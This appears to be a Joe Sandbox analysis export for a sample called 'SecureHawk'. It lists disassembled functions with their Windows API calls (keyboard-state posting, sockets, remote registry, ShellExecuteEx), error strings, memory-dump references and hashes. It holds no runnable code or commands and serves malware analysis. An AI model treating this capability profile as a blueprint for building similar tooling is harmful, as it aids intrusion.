Opcode ID: 079b5fae1a36e5a455353cc8a4cde2f19e043aee43d369fca9b1b9bc0bd6ac31
Instruction ID: d1706f401c3ecd32373485731e24bd4faa9f37234cb27494a96b360960e700d3
Opcode Fuzzy Hash: 079b5fae1a36e5a455353cc8a4cde2f19e043aee43d369fca9b1b9bc0bd6ac31
Instruction Fuzzy Hash: 4001CDBA240304BFE751AFA5DC8DF6B7BACEB89711F404451FA05DB1A1DA70A804CB20

Function 003695C5 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00369619
VariantInit.OLEAUT32(?), ref: 003696EA
VariantInit.OLEAUT32(?), ref: 003697EB
VariantClear.OLEAUT32(?), ref: 003697F5
VariantClear.OLEAUT32(?), ref: 00369852

Strings

Null Object assignment in FOR..IN loop, xrefs: 0036967A, 003697A8, 00369860
Incorrect Object type in FOR..IN loop, xrefs: 003697CE

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: e4fd92ec9a40fd3ca0da4cd29e053ab110f347454accfef37378119ac1530d34
Instruction ID: e02ef8e06b425d20c0217b3b94d83b2258f2dbdbf89f39f3d98d1544a34df67e
Opcode Fuzzy Hash: e4fd92ec9a40fd3ca0da4cd29e053ab110f347454accfef37378119ac1530d34
Instruction Fuzzy Hash: 0B918D71A00219EBDF26CFA5C844FAEBBBCEF45710F10815AF515AB295D7709944CFA0

Function 00369C0F Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00347B0B: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00347A45,80070057,?,?,?,00347E56), ref: 00347B28
Part of subcall function 00347B0B: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00347A45,80070057,?,?), ref: 00347B43
Part of subcall function 00347B0B: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00347A45,80070057,?,?), ref: 00347B51
Part of subcall function 00347B0B: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00347A45,80070057,?), ref: 00347B61

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00369CB8
_memset.LIBCMT ref: 00369CC5
_memset.LIBCMT ref: 00369E08
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00369E34
CoTaskMemFree.OLE32(?), ref: 00369E3F

Strings

NULL Pointer assignment, xrefs: 00369E8D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 5e214768b5d45cd788ca9f414c4c4dea097f1039fbe17d06148438ea20b7c650
Instruction ID: 0b159712f89cb5ee351502613a114d4c975f05f5f0d70cc9b58d2eb09d576d94
Opcode Fuzzy Hash: 5e214768b5d45cd788ca9f414c4c4dea097f1039fbe17d06148438ea20b7c650
Instruction Fuzzy Hash: 5F914B71D01229EBDB12DFA0DC85EDEBBB9EF08310F10815AF515AB295DB719A44CFA0

Function 0037716D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00377211
SendMessageW.USER32(?,00001036,00000000,?), ref: 00377225
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 0037723F
_wcscat.LIBCMT ref: 0037729A
SendMessageW.USER32(?,00001057,00000000,?), ref: 003772B1
SendMessageW.USER32(?,00001061,?,0000000F), ref: 003772DF

Strings

SysListView32, xrefs: 003771E3

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 8dc1f332893e5a9fb003fe67c0320528388a053af16e65ca59e906c23274cd6f
Instruction ID: 2367db2b2b6c834ece069af729761890fa1ca07157bc847068ff717c3074bf58
Opcode Fuzzy Hash: 8dc1f332893e5a9fb003fe67c0320528388a053af16e65ca59e906c23274cd6f
Instruction Fuzzy Hash: A141B531904308AFEB22DF64CC85BEE77E9EF08350F11486AF598A7192D7759D84CB50

Function 00354655 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0035466F
LoadStringW.USER32(00000000), ref: 00354676
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0035468C
LoadStringW.USER32(00000000), ref: 00354693
_wprintf.LIBCMT ref: 003546B9
MessageBoxW.USER32(00000000,?,?,00011010), ref: 003546D7

Strings

%s (%d) : ==> %s: %s %s, xrefs: 003546B4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: e471854389450e5bd5337ee95d03ba85064da9eb281ea00e1f12177da77e3073
Instruction ID: ff30bfeafad079a0c20a4aaa7101a68b8bc514e3db5eff30a2c7eece87fcdd21
Opcode Fuzzy Hash: e471854389450e5bd5337ee95d03ba85064da9eb281ea00e1f12177da77e3073
Instruction Fuzzy Hash: FE0162F69403087FE756A7909D89FF6776CEB08301F0005D5BB45E6051EA745E988B71

Function 0037D861 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F29E2: GetWindowLongW.USER32(?,000000EB), ref: 002F29F3

GetSystemMetrics.USER32(0000000F), ref: 0037D89F
GetSystemMetrics.USER32(0000000F), ref: 0037D8BF
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0037DAFA
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0037DB18
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0037DB39
ShowWindow.USER32(00000003,00000000), ref: 0037DB58
InvalidateRect.USER32(?,00000000,00000001), ref: 0037DB7D
DefDlgProcW.USER32(?,00000005,?,?), ref: 0037DBA0

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 3ccd96065706d3400ec08e4b94390815938f103278364478f1075429bb13344a
Instruction ID: 2c436da02b0087721e2b09b10b26801c3dc1c977a1172481b7e2faa86167ad1f
Opcode Fuzzy Hash: 3ccd96065706d3400ec08e4b94390815938f103278364478f1075429bb13344a
Instruction Fuzzy Hash: 3EB18931600215EFDF2ACF68C9C5BA97BB5FF04711F0AC169ED48AB295D738A950CB60

Function 00370139 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

Part of subcall function 00371242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003701D5,?,?), ref: 00371259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00370216

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 874b6daec169143bb5c6d1f328e31733a8247ee44c98bb2ef25c596939f2d2d1
Instruction ID: c894cc3b5da3b6dbebf4a3eaefa7df05a7e23aae70a488da8918e466520f6e17
Opcode Fuzzy Hash: 874b6daec169143bb5c6d1f328e31733a8247ee44c98bb2ef25c596939f2d2d1
Instruction Fuzzy Hash: F5A1DC71204205DFCB26EF54C891B2EB7E5BF84314F04881CFA9A9B2A2DB34E905CF42

Function 002F2E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0032C438,00000004,00000000,00000000,00000000), ref: 002F2E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0032C438,00000004,00000000,00000000,00000000,000000FF), ref: 002F2EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0032C438,00000004,00000000,00000000,00000000), ref: 0032C48B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0032C438,00000004,00000000,00000000,00000000), ref: 0032C4F7

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: ef64ce7a5c45b57ab7deec46280b7194332850e8b3d3ac512e83339f511e336a
Instruction ID: 9b36105a9475c30cd115590f08541ea47b91d063aabcc0ce556d5ae98c28b798
Opcode Fuzzy Hash: ef64ce7a5c45b57ab7deec46280b7194332850e8b3d3ac512e83339f511e336a
Instruction Fuzzy Hash: A1416830634789DAC73B9B29D8A877BFBD6AB83340F34842DE64746961C674B86CC710

Function 003765C0 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 003765D8
GetDC.USER32(00000000), ref: 003765E0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 003765EB
ReleaseDC.USER32(00000000,00000000), ref: 003765F7
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00376633
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00376644
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00379417,?,?,000000FF,00000000,?,000000FF,?), ref: 0037667E
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 0037669E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: c4ef81f214b38fd6154878cbf9adf2d399974705582816f53fd19b834b5e9a85
Instruction ID: 685955ad4a4619b4929876a7b79893defd458b874201e72100157eab4be4a787
Opcode Fuzzy Hash: c4ef81f214b38fd6154878cbf9adf2d399974705582816f53fd19b834b5e9a85
Instruction Fuzzy Hash: 74318D722016147FEF268F10CC8AFAA3FADEF49761F054091FE089A291D6799855CBB4

Function 0034C52B Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0034C540
_memcmp.LIBCMT ref: 0034C562
_memcmp.LIBCMT ref: 0034C57A
_memcmp.LIBCMT ref: 0034C58D
_memcmp.LIBCMT ref: 0034C5A7
_memcmp.LIBCMT ref: 0034C5BA
_memcmp.LIBCMT ref: 0034C5D2
_memcmp.LIBCMT ref: 0034C5ED

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: c5db9dac1ea80227090e5b6dc3a7fa676585b0de2b6104711051d463035dffd8
Instruction ID: 779a23d626f9cc33b28616777b811d51d22dcd9dafe8513a8098dcea11bd33eb
Opcode Fuzzy Hash: c5db9dac1ea80227090e5b6dc3a7fa676585b0de2b6104711051d463035dffd8
Instruction Fuzzy Hash: 0E213761A132057B925775268D42FFF77AD9E46B80B0550A2FD06EF242FB50FF2182A8

Function 0035EFD3 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 002F4D37: __itow.LIBCMT ref: 002F4D62
Part of subcall function 002F4D37: __swprintf.LIBCMT ref: 002F4DAC

Part of subcall function 0030436A: _wcscpy.LIBCMT ref: 0030438D

_wcstok.LIBCMT ref: 0035F144
_wcscpy.LIBCMT ref: 0035F1D3
_memset.LIBCMT ref: 0035F206

Strings

X, xrefs: 0035F243

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 416d89ceeb73b5c7bcd558b4d262c1363108210b4abbccabab0d2ce46956f8a8
Instruction ID: 1843cbd4c90daf08db98c5abf6c50fa8471d7331bb8843a6873dc4b27f792b7f
Opcode Fuzzy Hash: 416d89ceeb73b5c7bcd558b4d262c1363108210b4abbccabab0d2ce46956f8a8
Instruction Fuzzy Hash: 98C19E746043009FD716EF24C891EABB7E4EF85351F10492DF9999B2A2DB70ED49CB82

Function 00366FB3 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 003670B0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 003670D1
WSAGetLastError.WSOCK32(00000000), ref: 003670E4
htons.WSOCK32(?,?,?,00000000,?), ref: 0036719A
inet_ntoa.WSOCK32(?), ref: 00367157

Part of subcall function 0034B2CD: _strlen.LIBCMT ref: 0034B2D7
Part of subcall function 0034B2CD: _memmove.LIBCMT ref: 0034B2F9

_strlen.LIBCMT ref: 003671F4
_memmove.LIBCMT ref: 0036725D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 34416397992a8d87b0d969a960dd2389c137e1c2244a2eb0859ac1b9afb4a95d
Instruction ID: ac25630915fbb85396b9b132f7453176cc0ad527f4761046a20da48dbf14877a
Opcode Fuzzy Hash: 34416397992a8d87b0d969a960dd2389c137e1c2244a2eb0859ac1b9afb4a95d
Instruction Fuzzy Hash: 2B81D071108300ABD316EB24DC92E7BB7A8AF84758F50892CFA559B292DB71ED05CB91

Function 002F1800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e885e851116fc7c761989c5b06448a53a3dc4101aaf71b602479c4720e0823d9
Instruction ID: 6e3da5026e3c3e9d57ad162247317b6b8e70242daa689985016797c4fd7916a6
Opcode Fuzzy Hash: e885e851116fc7c761989c5b06448a53a3dc4101aaf71b602479c4720e0823d9
Instruction Fuzzy Hash: C4719D30910109EFDB09DF98CC49EBEBB79FF85350F548169FA15AA251C7309A61CFA0

Function 0037B73E Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01235888), ref: 0037B7D8
IsWindowEnabled.USER32(01235888), ref: 0037B7E4
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0037B8C8
SendMessageW.USER32(01235888,000000B0,?,?), ref: 0037B8FF
IsDlgButtonChecked.USER32(?,?), ref: 0037B93C
GetWindowLongW.USER32(01235888,000000EC), ref: 0037B95E
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0037B976

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 3b50db49c7c1984f46ed94d93e6671abc09d50dd10e3fd044dc50c2493941cb5
Instruction ID: 905b939df966e92c9f59562fdc3238687f923a29abf3f52d6c93cda6ef4d58cb
Opcode Fuzzy Hash: 3b50db49c7c1984f46ed94d93e6671abc09d50dd10e3fd044dc50c2493941cb5
Instruction Fuzzy Hash: 10718C34A00288BFEB369F54C8D5FAAFBBDEF49300F158059EA5997291D739AC50CB11

Function 0036F8CF Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0036F8F9
_memset.LIBCMT ref: 0036F9C2
ShellExecuteExW.SHELL32(?), ref: 0036FA07

Part of subcall function 002F4D37: __itow.LIBCMT ref: 002F4D62
Part of subcall function 002F4D37: __swprintf.LIBCMT ref: 002F4DAC

Part of subcall function 0030436A: _wcscpy.LIBCMT ref: 0030438D

GetProcessId.KERNEL32(00000000), ref: 0036FA7E
CloseHandle.KERNEL32(00000000), ref: 0036FAAD

Strings

@, xrefs: 0036F9D6

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 1220ad966d0b3edd0ec45743ea3b5d5af441ef8a48251e01a992395d8eb9304d
Instruction ID: 0eb186c78d32b0ca70653237805d8e33a64cea3053936d381489f9ac9f325437
Opcode Fuzzy Hash: 1220ad966d0b3edd0ec45743ea3b5d5af441ef8a48251e01a992395d8eb9304d
Instruction Fuzzy Hash: 4B61ED75A006199FCB16EF94D481AAEFBF5FF48314F008069E95AAB351CB70AD51CF90

Function 003515B8 Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 003515F7
GetKeyboardState.USER32(?), ref: 0035160C
SetKeyboardState.USER32(?), ref: 0035166D
PostMessageW.USER32(?,00000101,00000010,?), ref: 0035169B
PostMessageW.USER32(?,00000101,00000011,?), ref: 003516BA
PostMessageW.USER32(?,00000101,00000012,?), ref: 00351700
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00351723

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 29beaf2fc30c4d1992d5f1697fc172f0ac576cdbcb2262ad2f882d3a5bff0cb2
Instruction ID: eb1ad5bb80a4c33c5108d073e290acde18f351bfcfb38b25ffd478962b958fb4
Opcode Fuzzy Hash: 29beaf2fc30c4d1992d5f1697fc172f0ac576cdbcb2262ad2f882d3a5bff0cb2
Instruction Fuzzy Hash: D751D4A05047D13EFB374228CC55FB6BFA95B06306F0D4989E9D5458E2D3E8AC9CD750

Function 003513D1 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00351410
GetKeyboardState.USER32(?), ref: 00351425
SetKeyboardState.USER32(?), ref: 00351486
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 003514B2
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 003514CF
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00351513
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00351534

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 8ae29b564b204a479274bf8987c1c8aeaebed72c184b2d04cf6188f3039a89b0
